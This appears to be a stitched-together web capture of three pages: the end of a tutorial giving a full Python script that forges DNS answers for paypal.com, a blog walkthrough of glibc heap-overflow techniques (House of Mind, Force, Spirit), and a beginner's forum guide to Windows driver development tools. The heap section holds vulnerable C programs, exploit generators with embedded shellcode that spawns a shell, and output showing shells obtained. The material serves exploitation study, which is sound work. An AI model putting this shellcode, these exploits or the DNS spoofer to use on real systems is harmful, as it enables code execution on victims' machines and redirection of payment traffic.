    64 bytes from localhost (127.0.0.1): icmp_seq=1 ttl=64 time=0.022 ms
    ...
    
[/code]

The full python script for this tutorial follows:

[code]

    #!/usr/bin/env python
    
    import dnet, dpkt, pcap
    
    sock = dnet.ip()
    
    pc = pcap.pcap()
    pc.setfilter('udp dst port 53')
    
    for ts, pkt in pc:
        # parse the packet
        eth = dpkt.ethernet.Ethernet(pkt)
        ip = eth.data
        udp = ip.data
        dns = dpkt.dns.DNS(udp.data)
    
        # validate the DNS query
        if dns.qr != dpkt.dns.DNS_Q:
            continue
        if dns.opcode != dpkt.dns.DNS_QUERY:
            continue
        if len(dns.qd) != 1:
            continue
        if len(dns.an) != 0:
            continue
        if len(dns.ns) != 0:
            continue
        if dns.qd[0].cls != dpkt.dns.DNS_IN:
            continue
        if dns.qd[0].type != dpkt.dns.DNS_A:
            continue
    
        # only spoof for our target name
        if dns.qd[0].name != 'paypal.com':
            continue
    
        # transform DNS query into response
        dns.op = dpkt.dns.DNS_RA
        dns.rcode = dpkt.dns.DNS_RCODE_NOERR
        dns.qr = dpkt.dns.DNS_R
    
        # construct our fake answer RR
        arr = dpkt.dns.DNS.RR()
        arr.cls = dpkt.dns.DNS_IN
        arr.type = dpkt.dns.DNS_A
        arr.name = 'paypal.com'
        arr.ip = dnet.addr('127.0.0.1').ip
    
        dns.an.append(arr)
    
        # fix up IP and UDP layers
        udp.sport, udp.dport = udp.dport, udp.sport
        ip.src, ip.dst = ip.dst, ip.src
        udp.data = dns
        udp.ulen = len(udp)
        ip.len = len(ip)
    
        print `ip`
    
        # send out spoofed response
        buf = dnet.ip_checksum(str(ip))
        sock.send(buf)
    
[/code]

# Heap overflow using Malloc Maleficarum

**Created:**| _4/6/2015 9:10:29 PM_  
---|---  
**Updated:**| _4/6/2015 9:10:29 PM_  
**Author:**| __  
**Tags:**| _Exploit_  
  
  

# sploitF-U-N

##

Skip to content

  * Home
  * Archives
  * Me

# Heap overflow using Malloc Maleficarum

Posted on March 4, 2015 by sploitfun

_Prerequisite_ :

  1. Understanding glibc malloc

During late 2004, ‘glibc malloc’ got hardened. After which techniques such as
unlink got obsolete, leaving the attackers clueless. But only for some time
since in late 2005, ‘Phantasmal Phatasmagoria’ came with below series of
techniques to successfully exploit heap overflow.

  * House of Prime
  * House of Mind
  * House of Force
  * House of Lore
  * House of Spirit

**House of Mind** : In this technique, attacker tricks ‘glibc malloc’ to use a
fake arena constructed by him. Fake Arena is constructed in such a way that
unsorted bin’s fd contains the address of GOT entry of free – 12. Thus now
when vulnerable program free’s a chunk GOT entry of free is overwritten with
shellcode address. After successful GOT overwrite, now when free is called by
vulnerable program, shellcode would get executed\!\!

_Prerequisites_ : Below are the prerequisites to successfully apply house of
mind since not all heap overflow vulnerable programs can be exploited using
this technique.

  1. A series of malloc calls is required until a chunk’s address – when aligned to a multiple of HEAP\_MAX\_SIZE results in a memory area which is controlled by the attacker. This is the memory area where fake heap\_info structure is found. Fake heap\_info’s arena pointer ar\_ptr would point to fake arena. Thus both fake arena and fake heap\_info’s memory region would be controlled by the attacker.
  2. A chunk whose size field \(and its arena pointer – prereq 1\) controlled by the attacker should be freed.
  3. Chunk next to the above freed chunk should not be a top chunk.

_Vulnerable Program_ : This program meets the above prerequisites.

[code]

    /* vuln.c
     House of Mind vulnerable program
     */
    #include <stdio.h>
    #include <stdlib.h>
    
    int main (void) {
     char *ptr = malloc(1024); /* First allocated chunk */
     char *ptr2; /* Second chunk/Last but one chunk */
     char *ptr3; /* Last chunk */
     int heap = (int)ptr & 0xFFF00000;
     _Bool found = 0;
     int i = 2;
    
     for (i = 2; i < 1024; i++) {
       /* Prereq 1: Series of malloc calls until a chunk's address - when aligned to HEAP_MAX_SIZE results in 0x08100000 */
       /* 0x08100000 is the place where fake heap_info structure is found. */
       [1]if (!found && (((int)(ptr2 = malloc(1024)) & 0xFFF00000) == \
          (heap + 0x100000))) {
         printf("good heap allignment found on malloc() %i (%p)\n", i, ptr2);
         found = 1;
         break;
       }
     }
     [2]ptr3 = malloc(1024); /* Last chunk. Prereq 3: Next chunk to ptr2 != av->top */
     /* User Input. */
     [3]fread (ptr, 1024 * 1024, 1, stdin);
    
     [4]free(ptr2); /* Prereq 2: Freeing a chunk whose size and its arena pointer is controlled by the attacker. */
     [5]free(ptr3); /* Shell code execution. */
     return(0); /* Bye */
    }
    
[/code]

Heap memory for the above vulnerable program:

<img src='img/4893_pub.png' width='721' height='833' />

Line\[3\] of the vulnerable program is where heap overflow occurs. User input
gets stored from chunk1’s mem pointer to a total size of 1 MB. Thus inorder to
successfully exploit heap overflow, attackers provides the following user
input \(in the same listed order\):

  * Fake arena
  * Junk
  * Fake heap\_info
  * Shellcode

_Exploit Program_ : This program generates attacker data file:

[code]

    /* exp.c
    Program to generate attacker data.
    Command:
         #./exp > file
    */
    #include <stdio.h>
    
    #define BIN1 0xb7fd8430
    
    char scode[] =
    /* Shellcode to execute linux command "id". Size - 72 bytes. */
    "\x31\xc9\x83\xe9\xf4\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x5e"
    "\xc9\x6a\x42\x83\xeb\xfc\xe2\xf4\x34\xc2\x32\xdb\x0c\xaf\x02\x6f"
    "\x3d\x40\x8d\x2a\x71\xba\x02\x42\x36\xe6\x08\x2b\x30\x40\x89\x10"
    "\xb6\xc5\x6a\x42\x5e\xe6\x1f\x31\x2c\xe6\x08\x2b\x30\xe6\x03\x26"
    "\x5e\x9e\x39\xcb\xbf\x04\xea\x42";
    
    char ret_str[4] = "\x00\x00\x00\x00";
    
    void convert_endianess(int arg)
    {
            int i=0;
            ret_str[3] = (arg & 0xFF000000) >> 24;
            ret_str[2] = (arg & 0x00FF0000) >> 16;
            ret_str[1] = (arg & 0x0000FF00) >> 8;
            ret_str[0] = (arg & 0x000000FF) >> 0;
    }
    int main() {
            int i=0,j=0;
    
            fwrite("\x41\x41\x41\x41", 4, 1, stdout); /* fd */
            fwrite("\x41\x41\x41\x41", 4, 1, stdout); /* bk */
            fwrite("\x41\x41\x41\x41", 4, 1, stdout); /* fd_nextsize */
            fwrite("\x41\x41\x41\x41", 4, 1, stdout); /* bk_nextsize */
            /* Fake Arena. */
            fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* mutex */
            fwrite("\x01\x00\x00\x00", 4, 1, stdout); /* flag */
            for(i=0;i<10;i++)
                    fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* fastbinsY */
            fwrite("\xb0\x0e\x10\x08", 4, 1, stdout); /* top */
            fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* last_remainder */
            for(i=0;i<127;i++) {
                    convert_endianess(BIN1+(i*8));
                    if(i == 119) {
                            fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* preserve prev_size */
                            fwrite("\x09\x04\x00\x00", 4, 1, stdout); /* preserve size */
                    } else if(i==0) {
                            fwrite("\xe8\x98\x04\x08", 4, 1, stdout); /* bins[i][0] = (GOT(free) - 12) */
                            fwrite(ret_str, 4, 1, stdout); /* bins[i][1] */
                    }
                    else {
                            fwrite(ret_str, 4, 1, stdout); /* bins[i][0] */
                            fwrite(ret_str, 4, 1, stdout); /* bins[i][1] */
                    }
            }
            for(i=0;i<4;i++) {
                    fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* binmap[i] */
            }
            fwrite("\x00\x84\xfd\xb7", 4, 1, stdout); /* next */
            fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* next_free */
            fwrite("\x00\x60\x0c\x00", 4, 1, stdout); /* system_mem */
            fwrite("\x00\x60\x0c\x00", 4, 1, stdout); /* max_system_mem */
            for(i=0;i<234;i++) {
                    fwrite("\x41\x41\x41\x41", 4, 1, stdout); /* PAD */
            }
            for(i=0;i<722;i++) {
                    if(i==721) {
                            /* Chunk 724 contains the shellcode. */
                            fwrite("\xeb\x18\x00\x00", 4, 1, stdout); /* prev_size  - Jmp 24 bytes */
                            fwrite("\x0d\x04\x00\x00", 4, 1, stdout); /* size */
                            fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* fd */
                            fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* bk */
                            fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* fd_nextsize */
                            fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* bk_nextsize */
                            fwrite("\x90\x90\x90\x90\x90\x90\x90\x90" \
                            "\x90\x90\x90\x90\x90\x90\x90\x90", 16, 1, stdout);  /* NOPS */
                            fwrite(scode, sizeof(scode)-1, 1, stdout); /* SHELLCODE */
                            for(j=0;j<230;j++)
                                    fwrite("\x42\x42\x42\x42", 4, 1, stdout); /* PAD */
                            continue;
                    } else {
                            fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* prev_size */
                            fwrite("\x09\x04\x00\x00", 4, 1, stdout); /* size */
                    }
                    if(i==720) {
                            for(j=0;j<90;j++)
                                    fwrite("\x42\x42\x42\x42", 4, 1, stdout); /* PAD */
                            fwrite("\x18\xa0\x04\x08", 4, 1, stdout); /* Arena Pointer */
                            for(j=0;j<165;j++)
                                    fwrite("\x42\x42\x42\x42", 4, 1, stdout); /* PAD */
                    } else {
                            for(j=0;j<256;j++)
                                    fwrite("\x42\x42\x42\x42", 4, 1, stdout); /* PAD */
                    }
            }
            return 0;
    }
    
[/code]

Heap memory for the vulnerable program, with attacker generated data file as
user input:

<img src='img/4895_pub.png' width='721' height='833' />

With attacker generated data file as user input, ‘glibc malloc’ does the
following, when line\[4\] of our vulnerable program gets executed:

  * Arena for the chunk that is getting freed is retrieved by invoking arena\_for\_chunk macro. 
    * arena\_for\_chunk: If NON\_MAIN\_ARENA \(N\) bit is not set, main arena is returned. If set, corresponding heap\_info structure is accessed by aligning the chunk address to a multiple of HEAP\_MAX\_SIZE. Then arena pointer of the obtained heap\_info structure is returned. In our case, NON\_MAIN\_ARENA bit is set by the attacker and hence heap\_info structure \(located at 0x08100000\) of the chunk that is getting freed is obtained. Attacker would also have overwritten the arena pointer \(of the obtained heap\_info structure\) in such a way that it points to the fake arena, ie\) heap\_info’s ar\_ptr = Fake arena’s base address \(ie\)0x0804a018\).
  * Invoke \_int\_free with arena pointer and chunk address as arguments. In our case arena pointer points to fake arena. Thus fake arena and chunk address are passed as arguments to \_int\_free. 
    * Fake Arena: Following are the mandatory fields of fake arena that needs to be overwritten by the attacker: 
      * Mutex – It should be in unlocked state.
      * Bins – Unsorted bin’s fd should contain the address of GOT entry of free – 12.
      * Top – 
        * Top address should not be equal to the chunk address that is getting freed.
        * Top address should be greater than next chunk address.
      * System Memory – System memory should be greater than next chunk size.
  * \_int\_free\(\): 
    * If chunk is non mmap’d, acquire the lock. In our case chunk is non mmap’d and fake arena’s mutex lock is acquired successfully.
    * Consolidate: 
      * Find if previous chunk is free, if free consolidate. In our case previous chunk is allocated and hence it cant be consolidated backward.
      * Find if next chunk is free, if free consolidate. In our case next chunk is allocated and hence it cant be consolidated forward.
    * Place the currently freed chunk in unsorted bin. In our case fake arena’s unsorted bin’s fd contains the address of GOT entry of free – 12 which gets copied to ‘fwd‘ value. Later currently freed chunk’s address gets copied to ‘fwd->bk’. bk is located at offset 12 in malloc\_chunk and hence 12 gets added to this ‘fwd’ value \(ie\) free-12+12\). Thus now GOT entry of free gets modified to contain currently freed chunk address. Since the attacker has placed his shellcode in the currently freed chunk, from now on whenever free gets invoked attacker’s shellcode gets executed\!\!

Executing the vulnerable program with attacker generated data file as user
input executes the shell code as shown below:

[code]

    sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hom$ gcc -g -z norelro -z execstack -o vuln vuln.c -Wl,--rpath=/home/sploitfun/glibc/glibc-inst2.20/lib -Wl,--dynamic-linker=/home/sploitfun/glibc/glibc-inst2.20/lib/ld-linux.so.2
    sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hom$ gcc -g -o exp exp.c
    sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hom$ ./exp > file
    sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hom$ ./vuln < file
    ptr found at 0x804a008
    good heap allignment found on malloc() 724 (0x81002a0)
    **uid=1000(sploitfun) gid=1000(sploitfun) groups=1000(sploitfun),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)**
[/code]

_Protection_ : At present day, house of mind technique doesnt work since
‘glibc malloc’ has got hardened. Below check is added to prevent heap overflow
using house of mind.

  * Corrupted chunks: Unsorted bin’s first chunk’s bk pointer should point to unsorted bin. If not ‘glibc malloc’ throws up corrupted chunk error.

[code]

          if (__glibc_unlikely (fwd->bk != bck))
            {
              errstr = "free(): corrupted unsorted chunks";
              goto errout;
            }
    
[/code]

**House of Force** : In this technique, attacker abuses top chunk size and
tricks ‘glibc malloc’ to service a very large memory request \(greater than
heap system memory size\) using top chunk. Now when a new malloc request is
made, GOT entry of free would be overwritten with shellcode address. Hence
from now on whenever free is called, shellcode gets executed\!\!

_Prerequisites_ : Three malloc calls are required to successfully apply house
of force as listed below:

  * Malloc 1: Attacker should be able to control the size of top chunk. Hence heap overflow should be possible on a this allocated chunk which is physically previous to top chunk.
  * Malloc 2: Attacker should be able to control the size of this malloc request.
  * Malloc 3: User input should be copied to this allocated chunk.

_Vulnerable Program:___ This program meets the above prerequisites.

[code]

    /*
    House of force vulnerable program. 
    */
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h> 
    
    int main(int argc, char *argv[])
    {
            char *buf1, *buf2, *buf3;
            if (argc != 4) {
                    printf("Usage Error\n");
                    return;
            }
            [1]buf1 = malloc(256);
            [2]strcpy(buf1, argv[1]); /* Prereq 1 */
            [3]buf2 = malloc(strtoul(argv[2], NULL, 16)); /* Prereq 2 */
            [4]buf3 = malloc(256); /* Prereq 3 */
            [5]strcpy(buf3, argv[3]); /* Prereq 3 */
    
            [6]free(buf3);
            free(buf2);
            free(buf1);
            return 0;
    }
    
[/code]

Heap memory for the above vulnerable program:

<img src='img/4892_pub.png' width='750' height='628' />

Line\[2\] of the vulnerable program is where heap overflow occurs. Thus
inorder to successfully exploit heap overflow, attacker provides the following
commad line arguments:

  * argv\[1\] – Shellcode + Pad + Top chunk size to be copied to first malloc chunk.
  * argv\[2\] – Size argument to second malloc chunk.
  * argv\[3\] – User input to be copied to third malloc chunk.

_Exploit Program_ :

[code]

    /* Program to exploit executable 'vuln' using hof technique.
     */
    #include <stdio.h>
    #include <unistd.h>
    #include <string.h>
    
    #define VULNERABLE "./vuln"
    #define FREE_ADDRESS 0x08049858-0x8
    #define MALLOC_SIZE "0xFFFFF744"
    #define BUF3_USER_INP "\x08\xa0\x04\x08"
                    
    /* Spawn a shell. Size - 25 bytes. */
    char scode[] =
            "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
            
    int main( void )
    {       
            int i;
            char * p;
            char argv1[ 265 ];
            char * argv[] = { VULNERABLE, argv1, MALLOC_SIZE, BUF3_USER_INP, NULL };
            
            strcpy(argv1,scode);
            for(i=25;i<260;i++)
                    argv1[i] = 'A';
            
            strcpy(argv1+260,"\xFF\xFF\xFF\xFF"); /* Top chunk size */
            argv[264] = ''; /* Terminating NULL character */ 
    
            /* Execution of the vulnerable program */
            execve( argv[0], argv, NULL );
            return( -1 );
    }
    
[/code]

Heap memory for the vulnerable program, once attacker’s command line arguments
gets copied into heap:

<img src='img/pub.png' width='737' height='765' />

With attacker arguments following happens:

Line\[2\] overwrites top chunk size:

  * Attacker argument \(argv\[1\] – Shellcode + Pad + 0xFFFFFFFF\) gets copied into heap buffer ‘buf1′. But since argv\[1\] is greater than 256, top chunk’s size gets overwritten with “0xFFFFFFFF”

Line\[3\] allocates a very large block using top chunk code:

  * Objective of very large block allocation request is after allocation, new top chunk should be located 8 bytes before the GOT entry of free. So one more malloc request \(line\[4\]\) would help us to overwrite GOT entry of free.
  * Attacker argument \(argv\[2\] – 0xFFFFF744\) gets passed as size argument to second malloc call \(line\[3\]\). The size argument is calculated using below formulae: 
    * size = \(\(free-8\)-top\)
    * where 
      * free is “GOT entry of free in executable ‘vuln'” ie\) free = 0x08049858.
      * top is “current top chunk \(after first malloc line\[1\]\)” ie\) top = 0x0804a108.
    * Thus size = \(\(0x8049858-0x8\)-0x804a108\) = -8B8 = 0xFFFFF748
    * When size = 0xFFFFF748 our objective of placing the new top chunk 8 bytes before the GOT entry of free is achieved as shown below: 
      * \(0xFFFFF748+0x804a108\) = 0x08049850 = \(0x08049858-0x8\)
    * But when attacker passes a size argument of 0xFFFFF748 ‘glibc malloc’ converts the size into usable size 0xFFFFF750 and hence now new top chunk size would be located at 0x8049858 instead of 0x8049850. Therefore instead of 0xFFFFF748 attacker should pass 0xFFFFF744 as size argument, which gets converted into usable size ‘0xFFFFF748′ as we require\!\!

At line \[4\]:

  * Now since in line\[3\] top chunk points to 0x8049850, a memory allocation request of 256 bytes would make ‘glibc malloc’ to return 0x8049858 which gets copied to buf3.

At line \[5\]:

  * Copying buf1 address to buf3, results in GOT overwrite. Thus call to free \(line\[6\]\) would result in shellcode execution\!\!

Executing the vulnerable program with attacker’s command line argument
executes the shell code as shown below:

[code]

    sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hof$ gcc -g -z norelro -z execstack -o vuln vuln.c -Wl,--rpath=/home/sploitfun/glibc/glibc-inst2.20/lib -Wl,--dynamic-linker=/home/sploitfun/glibc/glibc-inst2.20/lib/ld-linux.so.2
    sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hof$ gcc -g -o exp exp.c
    sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hof$ ./exp 
    **$ ls
    cmd  exp  exp.c  vuln  vuln.c**
    $ exit
    sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hof$ 
    
[/code]

_Protection_ : Till date, there is no protection added to this technique. Yup
this technique helps us to exploit heap overflows even when compiled with
latest glibc\!\! :\)

**House of Spirit** : In this technique, attacker tricks ‘glibc malloc’ to
return a chunk which resides in stack segment \(instead of heap segment\).
This allows the attacker to overwrite ‘Return Address’ stored in the stack.

_Prerequisite_ : Below are the prerequisites to successfully apply house of
spirit since not all heap overflow vulnerable programs can be exploited using
this technique.

  * A buffer overflow to overwrite a variable which contains the chunk address, returned by ‘glibc malloc’.
  * Above chunk should be freed. Attacker should control the size of this freed chunk. He controls in such a way that its size is equal to next malloc’d chunk size.
  * Malloc a chunk.
  * User input should be copied to the above malloc’d chunk.

_Vulnerable Program_ : This program meets the above prerequisites.

[code]

    /* vuln.c
    House of Spirit vulnerable program
    */
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    
    void fvuln(char *str1, int age)
    {
       char *ptr1, name[44];
       int local_age;
       char *ptr2;
       [1]local_age = age; /* Prereq 2 */
    
       [2]ptr1 = (char *) malloc(256);
       printf("\nPTR1 = [ %p ]", ptr1);
       [3]strcpy(name, str1); /* Prereq 1 */
       printf("\nPTR1 = [ %p ]\n", ptr1);
       [4]free(ptr1); /* Prereq 2 */
    
       [5]ptr2 = (char *) malloc(40); /* Prereq 3 */
       [6]snprintf(ptr2, 40-1, "%s is %d years old", name, local_age); /* Prereq 4 */
       printf("\n%s\n", ptr2);
    }
    
    int main(int argc, char *argv[])
    {
       int i=0;
       int stud_class[10];  /* Required since nextchunk size should lie in between 8 and arena's system_mem. */
       for(i=0;i<10;i++)
            [7]stud_class[i] = 10;
       if (argc == 3)
          fvuln(argv[1], 25);
       return 0;
    }
    
[/code]

Stack Layout of the above vulnerable program:

<img src='img/4890_pub.png' width='721' height='833' />

Line\[3\] of the vulnerable program is where buffer overflow occurs. Thus
inorder to successfully exploit the vulnerable program, attacker gives the
below command line argument:

  * argv\[1\] = Shell Code + Stack Address + Chunk size

_Exploit Program_ :

[code]

    /* Program to exploit executable 'vuln' using hos technique.
     */
    #include <stdio.h>
    #include <unistd.h>
    #include <string.h>
    
    #define VULNERABLE "./vuln"
    
    /* Shellcode to spwan a shell. Size: 48 bytes - Includes Return Address overwrite */
    char scode[] =
            "\xeb\x0e\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xb8\xfd\xff\xbf\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\x90\x90\x90\x90\x90\x90\x90";
    
    int main( void )
    {
            int i;
            char * p;
            char argv1[54];
            char * argv[] = { VULNERABLE, argv1, NULL };
    
            strcpy(argv1,scode);
    
            /* Overwrite ptr1 in vuln with stack address - 0xbffffdf0. Overwrite local_age in vuln with chunk size - 0x30 */
            strcpy(argv1+48,"\xf0\xfd\xff\xbf\x30"); 
    
            argv[53] = '';
    
            /* Execution of the vulnerable program */
            execve( argv[0], argv, NULL );
            return( -1 );
    }
    
[/code]

Stack Layout of the above vulnerable program with attacker argument:

<img src='img/4891_pub.png' width='768' height='830' />

With attacker argument let us see how return address is overwritten:

Line\[3\]: Buffer overflow

  * Here attacker input ‘argv\[1\]’ is copied to char buffer ‘name’. Since attacker input is greater than 44, variable’s ptr1 and local\_age gets overwritten with stack address and chunk size, respectively. 
    * Stack address -0xbffffdf0 – Attacker tricks ‘glibc malloc’ to return this address when line\[5\] gets executed.
    * Chunk size – 0x30 – This chunk size is used to trick ‘glibc malloc’ when line\[4\] \(see below\) gets executed.

Line\[4\]: Add stack region to ‘glibc malloc’s’ fast bin.

  * free\(\) invokes \_int\_free\(\). Now after buffer overflow ptr1 = 0xbffffdf0 \(and not 0x804aa08\). Overwritten ptr1 is passed as an argument to free\(\). This tricks ‘glibc malloc’ to free a memory region located in stack segment. Size of this stack region that is getting freed, located at ptr1-8+4 is overwritten by the attacker as 0x30 and hence ‘glibc malloc’ treats this chunk as fast chunk \( since 48 < 64\) and inserts the freed chunk at the front end of the fast binlist located at index 4.

Line\[5\]: Retrieve the stack region \(added in line\[4\]\)

  * malloc request of 40 is converted into usable size 48 by checked\_request2size. Since the usable size ’48’ belongs to fast chunk, its corresponding fast bin \(located at index 4\) is retrieved. First chunk of the fast binlist is removed and returned to the user. The first chunk is nothing but the stack region added during line\[4\]’s execution.

Line\[6\]: Overwrite Return Address

  * Copy the attacker argument ‘argv\[1\]’ into the stack region \(returned by ‘glibc malloc’\) starting from location 0xbffffdf0. First 16 bytes of argv\[1\] is 
    * \xeb\x0e – Jmp by 14 bytes
    * \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 – Pad
    * \xb8\xfd\xff\xbf – Return Address stored in stack gets overwritten by this value. Hence after fvuln gets executed, EIP would be 0xbffffdb8 – this location contains the jmp instruction followed by a shellcode to spawn a shell\!\!

Executing the vulnerable program with attacker’s argument executes the shell
code as shown below:

[code]

    sploitfun@sploitfun-VirtualBox:~/Dropbox/sploitfun/heap_overflow/Malloc-Maleficarum/hos$ gcc -g -fno-stack-protector -z norelro -z execstack -o vuln vuln.c -Wl,--rpath=/home/sploitfun/glibc/glibc-inst2.20/lib -Wl,--dynamic-linker=/home/sploitfun/glibc/glibc-inst2.20/lib/ld-linux.so.2
    sploitfun@sploitfun-VirtualBox:~/Dropbox/sploitfun/heap_overflow/Malloc-Maleficarum/hos$ gcc -g -o exp exp.c
    sploitfun@sploitfun-VirtualBox:~/Dropbox/sploitfun/heap_overflow/Malloc-Maleficarum/hos$ ./exp 
    
    PTR1 = [ 0x804a008 ]
    PTR1 = [ 0xbffffdf0 ]
    
    AAAAAAAAAA1Ph//shh/binPS
    **$ ls
    cmd  exp  exp.c  print	vuln  vuln.c
    $ exit**
    sploitfun@sploitfun-VirtualBox:~/Dropbox/sploitfun/heap_overflow/Malloc-Maleficarum/hos$
    
[/code]

_Protection_ : Till date, there is no protection added to this technique. Yup
this technique helps us to exploit heap overflows even when compiled with
latest glibc\!\!  :\)

**House of Prime:** TBU

**House of Lore:** TBU

_NOTE_ : For demo purposes, all vulnerable programs are compiled without
following linux protection mechanisms:

  * ASLR
  * NX
  * RELRO \(ReLocation Read-Only\)

_Reference_ :

  * The Malloc Maleficarum

### Share this:

  * Twitter143
  * Facebook52
  * Google
  * 

 Like

Be the first to like this.

Tagged glibc, heap overflow, house of force, house of mind, house of spirit,
malloc maleficarum

# Post navigation

← Heap overflow using unlink

### Leave a Reply

Create a free website or blog at WordPress.com.  |  The Kelly Theme. 
Follow

### Follow “sploitF-U-N”

Get every new post delivered to your Inbox.

Build a website with WordPress.com

<img src='img/g.gif' width='6' height='5' />

  

# KernelMode.info • View topic - Device Driver Development for Beginners -
Reloaded

**Created:**| _9/3/2011 2:27:56 PM_  
---|---  
**Updated:**| _9/3/2011 2:27:56 PM_  
**Author:**| __  
**Tags:**| _windows programming Driver_  
  

### Device Driver Development for Beginners - Reloaded

<img src='img/Temp2_4786.gif' width='11' height='9' alt='Post' />by
**Evilcry** » Mon Oct 04, 2010 6:14 am

Hi,  
  
This is just a little starter for people interested in starting Kernel-Mode
Development  
  
By following an good thread on UIC forum, opened by a beginner that wanted to
know how to start with Device Driver Development, I remembered that long time
ago published a similar blog post on that subject.  
  
Now I'm going to Reload and Expand it.  
  
Development Tools  
  
1\. WDK/DDK - this is the proper Driver Development SDK given by Microsoft,
latest edition can be dowloaded
http://www.microsoft.com/whdc/DevTools/WDK/WDKpkg.mspx  
2\. Visual Studio 2008/2010 - you can also develop without VS, but I always
prefer all the Comforts given by a such advanced IDE, especially in presence
of complex device drivers.  
3\. DDKWizard - DDKWizard is a so-called project creation wizard \(for
VisualStudio\) that allows you to create projects that use the DDKBUILD
scripts from OSR \(also available in the download section from this site\).
The wizard will give you several options to configure your project prior to
the creation. You can download it http://ddkwizard.assarbad.net/  
4\. VisualAssist - \(Optional Tool\) Visual Assist X provides productivity
enhancements that help you read, write, navigate and refactor code with
blazing speed in all Microsoft IDEs. You can Try/Buy it
http://wholetomato.com/  
5\. VisualDDK - Develop and Debug drivers directly from VS, enjoy debugging
your driver directly from Visual Studio, speeding up debugging ~18x for VMWare
and ~48x for VirtualBox. Download and Step by Step Quick Start Guide
http://visualddk.sysprogs.org/quickstart/  
6\. Virtual Machine - You need a Virtual Machine to perform efficient Driver
Debugging, best options are VMWare or VirtualBox.  
  
Building a Driver Development Environment  
  
As you can see, a good comfortable Driver Development station is composed by a
good amount of components, so we need an installation order.  
  
1\. Install your IDE - VisualStudio2008 or VisualStudio2010  
2\. Install WDK package  
3\. Install DDKWizard  
4\. Download and place \( usually into C:\WinDDK \) ddkbuild.cmd  
5\. By following DDKWizard pdf you will be driven to add an new Envirnment
Variable directly releated to the OS version in which you are developing and
successively add a reference of ddkbuild.cmd into VS IDE. DDWizard Manual is
very well written.  
6\. After finishing DDKWizard integration you can test if your environment is
correctly installed, by compilig your first driver. Steps are easy open VS and
select DDKWizard templare \(not EmptyDriver\), you will see the skeleton of a
Driver, all what you have to do is to Build Solution and Verify if No
Compiling Errors occur, your station is correctly installed.  
7\. Install VirtualMachine  
8\. Integrate Debugging help of VisualDDK by following step by step quick
start guide  
9\. Install Visual Assist \(this can be done in every moment after VS
Installation\)  
  
Additional Tools  
  
\* DeviceTree \- This utility has two views: \(a\) one view that will show you
the entire PnP enumeration tree of device objects, including relationships
among objects and all the device's reported PnP characteristics, and \(b\) a
second view that shows you the device objects created, sorted by driver name.
There is nothing like this utility available anywhere else. Download it
http://www.osronline.com/article.cfm?article=97  
\* IrpTracker \- IrpTracker allows you to monitor all I/O request packets
\(IRPs\) on a system without the use of any filter drivers and with no
references to any device objects, leaving the PnP system entirely undisturbed.
In addition to being able to see the path the IRP takes down the driver stack
and its ultimate completion status, a detailed view is available that allows
you to see the entire contents of static portion of the IRP and an interpreted
view of the current and previous stack locations. Download it
http://www.osronline.com/article.cfm?article=199  
\* DebugMon \- Displays DbgPrint messages generated by any driver in the
system \(or the OS itself\) in the application window. Can be used either in
local mode or can send the DbgPrint messages to another system via TCP/IP.
Download it http://www.osronline.com/article.cfm?article=99  
\* DriverLoader \- This GUI-based tool will make all the appropriate registry
entries for your driver, and even allow you to start your driver without
rebooting. It's even got a help file, for goodness sakes\! If you write
drivers, this is another one of those utilities that's a must have for your
tool chest. x86 architecture. Dowload it
http://www.osronline.com/article.cfm?article=157  
  
Now you have a full working Develop and Debug Station.  
  
As you should imagine, dealing with driver development implies working with at
Kernel Mode, a task pretty challenging, delicate and complex. A badly written
driver lead to OS Crash and/or dangerous bugs, just think about a driver used
in mission-critical applications like Surgery, a bug or a crash could lead to
extremely big dangers. The driver need to be:  
  
\* Bug Free  
\* Fault Tolerant  
\* Ready to Endure all Stress Situations  
  
This could be done, only by the driver coder, with a large knowledge of
following fields:  
  
\* Hardware Architecture  
\* Operating System Architecture  
\* Kernel and User Mode Architecture  
\* Rock Solid C language knowledge  
\* Debugging Ability  
  
Here i'm going to enumerate necessary Documentation/Book/Etc. necessary to
acheive a \*good and solid\* background and advanced knowledge about driver
coding.  
  
Microsoft WDK Page: http://www.microsoft.com/whdc/devtools/WDK/default.mspx  
  
Will give you informations about:  
  
1\. WDM \( Windows Driver Model\)  
2\. WDF \(Windows Driver Foundation\)  
3\. IFS Kit \(Installable FileSystem Kit\)  
4\. Driver Debugging  
5\. Driver Stress Testing \( DriverVerifier tool \)  
  
PC Fundamentals: http://www.microsoft.com/whdc/system/default.mspx  
  
Device Fundamentals: http://www.microsoft.com/whdc/device/default.mspx  
  
This will give you an large view of 'what mean developing a driver' which
components are touched and which aspects you need to know.  
  
It's also obviously necessary to have a Reference about kernel mode involved
Functions and Mechanisms, the first best resource is always MSDN, here the
starter link to follow MSDN->DDK  
  
http://msdn.microsoft.com/en-us/library ... 85%29.aspx  
  
How to start Learning  
  
As pointed out in the previous blog post, one of the best starting point, that
will give you an on-fly-view of development topics is the Toby Opferman set of
articles:  
